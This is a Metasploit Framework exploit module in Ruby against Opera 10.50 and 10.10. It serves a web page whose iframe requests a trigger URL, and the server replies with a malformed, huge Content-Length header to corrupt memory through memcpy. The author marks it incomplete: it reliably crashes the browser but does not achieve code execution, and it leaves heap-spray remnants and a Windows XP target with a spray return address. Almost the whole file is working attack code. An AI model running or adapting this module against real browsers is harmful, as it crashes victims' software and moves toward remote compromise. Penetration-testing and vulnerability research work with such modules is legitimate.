##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = AverageRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,{
			'Name'           => '[INCOMPLETE] Opera <= 10.50 Content-Length Memory Corruption',
			'Description'    => %q{
					This module triggers a vulnerability in Opera 10.50 and 10.10 that allows
				an attacker to specify the copy length for a memcpy(). See references for more 
				information.

				In its current state, this module is only capable of causing a crash. With 
				some heap sculpting it is reportedly possible to cause code execution instead.
				Unforatunately, I have not been able to achieve code exec yet :-/
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'URL', 'http://www.hack0wn.com/view.php?xroot=672.0&cat=exploits' ],
					[ 'URL', 'http://secunia.com/blog/86/' ],
					[ 'URL', 'http://my.opera.com/securitygroup/blog/2010/03/09/the-malformed-content-length-header-security-issue' ]
				],
			'Payload'        =>
				{
					'ExitFunc' => 'process',
					'Space'    => 2048,
					'BadChars' => "",
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'Opera 10.50 on Windows XP SP3',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'Ret'        => 0x0c0c0c0c,
							'BlockLen'   => 0x60000,
							'Containers' => 800,
						}
					],
				],
			'DisclosureDate' => 'Mar 03 2010',
			'DefaultTarget' => 0
			}))
	end

	def on_request_uri(cli, request)
		print_status("Got request for: #{request.uri}")
		#print_status(request.inspect)

		# Re-generate the payload
		#return if ((p = regenerate_payload(cli)) == nil)


		# Send the trigger when requested..
		if (request.uri =~ /boom$/)
			len = rand(0x7000)
			# below will force a crash every time
			#len = 0x0c0c0c0c
			print_status("Using length: %d" % len)

			bignum = 11111111111111111111 - 3047977415
			bignum += len

			content = "A" * 10240

			response = ""
			response << "HTTP/#{request.proto} 200 OK\r\n"
			response << "Content-Type: text/html\r\n"
			response << "Content-Length: #{bignum}\r\n"
			response << "\r\n"
			response << content

			print_status("Sending #{self.name} trigger to #{cli.peerhost}:#{cli.peerport}...")
			cli.put(response)

			return
		end


		# Otherwise, setup the heap to get pwnt...
		print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}...")
		html = %Q|<html>
<head>
<!-- <meta http-equiv="refresh" content="1" /> -->
<script language=javascript>
function boom()
{
	/*
 var i;
 for (i = 0; i < 10000; i++)
 {
  var im = document.createElement('IMG');
  var id = 'img'+i.toString();
  im.setAttribute('id', id);
  im.setAttribute('height', '10');
  im.setAttribute('width', '10');
  im.onmouseover = function(event)
  { 
    var im=event.currentTarget
	 im.src = 'http://qoop.org/media/dep-haha.gif';
  };
  document.body.appendChild(im);
 }
    */
 var ifr = document.createElement('IFRAME');
 ifr.src = 'REPLACE_ME';
 document.body.appendChild(ifr);
}
</script>
</head>
<body onload="boom()">
</body>
</html>
|

		trigger_url = get_resource() + '/boom'
		html.gsub!(/REPLACE_ME/, trigger_url)

		send_response_html(cli, html)

		handler(cli)
	end

end
